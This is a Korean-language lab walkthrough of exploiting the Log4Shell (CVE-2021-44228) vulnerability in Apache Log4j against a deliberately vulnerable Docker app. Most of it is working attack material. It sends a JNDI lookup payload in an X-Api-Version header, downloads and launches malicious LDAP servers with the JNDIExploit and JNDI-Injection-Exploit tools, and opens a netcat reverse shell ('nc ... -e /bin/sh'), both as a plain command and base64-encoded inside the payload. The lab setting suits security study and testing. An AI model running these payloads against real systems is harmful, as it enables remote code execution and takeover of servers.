로그4쉘(Log4Shell), CVE-2021-44228
자바 로깅 라이브러리인 Log4j 관련 Remote Code Execution 취약점이 발견되었습니다.
네이버 뉴스에도 나오네요.( https://news.naver.com/main/read.naver?mode=LSD&mid=shm&sid1=104&oid=214&aid=0001165418 )
컴퓨터 역사상 최악의 취약점이라고도 소개하네요.( https://www.dailysecu.com/news/articleView.html?idxno=132474 )
취약한 Apache Log4j 버전: 2.0 – 2.14.1 (+ jdk version < 6u211, 7u201, 8u191, 11.0.1)
해당 CVE의 공격방법은 다음과 같습니다.(깃헙 및 블로그글을 참고하였습니다)
※JNDIExploit 깃헙(https://github.com/feihong-cs/JNDIExploit)이 폭파되었지만 JNDI-Injection-Exploit(https://github.com/welk1n/JNDI-Injection-Exploit)을 이용하면 동일하게 테스트 가능합니다. 방법은 하단에 "JNDI-Injection-Exploit 툴을 이용한 방법" 을 참고하시면 됩니다.
◼︎Log4Shell CVE에 취약한 테스트 서버 구동
Victim 역할의 서버는 192.168.1.5:8080 에서 구동하였습니다.
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
◼︎버프 패킷 캡쳐 및 취약 여부 판단
kali VM의 ip는 192.168.1.77 입니다.
칼리에서 파이어폭스를 이용해 victim의 서버(192.168.1.5:8080)에 접속하고, 해당 패킷을 버프로 캡쳐합니다.
victim의 웹 애플리케이션은 Request Header의 X-Api-Version 값을 Log4j로 로깅하면서 취약점이 발생합니다.
※ CVE 발표 후 실제로는 User-Agent 헤더에 공격구문을 실어서 스캔하는 경우가 증가하고 있다고 합니다.
X-Api-Version헤더를 만들고 log4shell에 취약한지 판단하는 문구를 실어서 전송합니다.
X-Api-Version: ${jndi:ldap://cr7toyhc0l8cakjy722nspox4oaey3.burpcollaborator.net/a}
취약하다면 Burp Collaborator에 DNS query가 찍혀야 합니다.
찍혔다는 것은 서버에서 외부 URL을 참조한다는 뜻이고, 악의적인 LDAP서버를 참조하게 할 수 있겠습니다.
◼︎악의적인 LDAP 서버 구동(with JNDIExploit)
악의적인 LDAP 서버는 kali VM 192.168.1.77 에서 구동하였습니다.
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.1.77 -p 8888
악의적인 LDAP서버를 이용해 victim 서버에서 명령어를 실행할 수 있습니다.
JNDIExploit(https://github.com/feihong-cs/JNDIExploit) 깃헙 사이트에 의하면 명령어 형식은 다음과 같습니다.
ldap://127.0.0.1:1389/Basic/Command/Base64/[base64_encoded_cmd]
◼︎Reverse Shell(with JNDIExploit)
칼리에서 nc 명령어를 이용하여 reverse shell 리스닝 모드에 들어갑니다.
서버사이드에서 실행될 명령어(공격자인 칼리 ip로 연결하는 nc명령어)를 base64로 인코딩합니다.
X-Api-Version헤더에 악의적인 ldap명령어를 전송합니다.
X-Api-Version: ${jndi:ldap://192.168.1.77:1389/Basic/Command/Base64/bmMgMTkyLjE2OC4xLjc3IDQ0NDQgLWUgL2Jpbi9zaA==}
reverse shell이 연결되고, 서버측에서 명령어 실행이 가능합니다.
==============JNDI-Injection-Exploit 툴을 이용한 방법==============
◼︎악의적인 LDAP 서버 구동(with JNDI-Injection-Exploit)
악의적인 LDAP 서버는 kali VM 192.168.1.77 에서 구동하였습니다.
JNDI-Injection-Exploit(https://github.com/welk1n/JNDI-Injection-Exploit) 깃헙 사이트에 의하면 악의적인 LDAP서버 구동 형식은 다음과 같습니다.
-C 옵션 뒤에 Victim서버에서 실행될 명령어가 위치하고, -A 옵션 뒤에 공격자의 IP주소가 위치합니다.
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
Victim서버에서 공격자 칼리 IP인 192.168.1.77로 연결하는 reverse shell 명령어를 옵션으로 주고 악의적 LDAP 서버를 구동합니다.
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc 192.168.1.77 4444 -e /bin/sh" -A 192.168.1.77
LDAP 서버 구동시 출력되는 화면을 보시면 Victim서버가 어떤 악의적인 LDAP 서버를 참조해야 할 지 알 수 있습니다.
테스트 Victim 서버는 JDK 1.8에서 구동중인 관계로 "ldap://192.168.1.77:1389/cxaepq"을 바라보게 하면 exploit이 가능하겠습니다.
◼︎Reverse Shell(with JNDI-Injection-Exploit)
칼리에서 nc 명령어를 이용하여 reverse shell 리스닝 모드에 들어갑니다.
X-Api-Version헤더에 악의적인 ldap명령어를 전송합니다.
X-Api-Version: ${jndi:ldap://192.168.1.77:1389/cxaepq}
reverse shell이 연결되고, 서버측에서 명령어 실행이 가능합니다.
※ 출처
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://bin3xish477.medium.com/log4shell-zero-day-exploit-walkthrough-f42352612ca6
https://github.com/r00tkiiT/log4shell-vulnerable-app
https://github.com/feihong-cs/JNDIExploit
https://github.com/welk1n/JNDI-Injection-Exploit